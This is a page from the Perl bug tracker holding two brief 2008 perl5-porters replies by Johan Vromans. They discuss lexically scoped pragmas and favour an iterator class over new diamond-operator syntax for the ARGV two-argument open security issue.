Date: 31 Jul 2008 13:23:33 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Johan Vromans <jvromans [...] squirrel.nl>
Download (untitled) / with headers
text/plain 203b
Ed Avis <eda@waniasset.com> writes: Show quoted text
> Pragmas are useful when you want to change the global behaviour of a > program.
Now that pragmas are lexcially scoped, this assumption no longer holds. -- Johan
Subject: Re: Senatorial (Senescent?) reflective pause (was: Creative and *routine* use of so-called "magic" ARGV (was [perl #2783] Security of ARGV using 2-argument open))
Date: 31 Jul 2008 13:31:41 +0200
To: perl5-porters [...] perl.org
From: Johan Vromans <jvromans [...] squirrel.nl>
Download (untitled) / with headers
text/plain 383b
Tom Christiansen <tchrist@perl.com> writes: Show quoted text
> I still have a vague hunch like a module, or here even a pragma, > might be a good idea.
I'd go for a nice iterator class instead of <<<<>>>> weirdness. I don't mind typing a few more characters, especially since (as pointed out several times now) it is functionality that often occurs only once in a program -- if at all. -- Johan


This service is sponsored and maintained by Best Practical Solutions and runs on Perl.org infrastructure.

For issues related to this RT instance (aka "perlbug"), please contact perlbug-admin at perl.org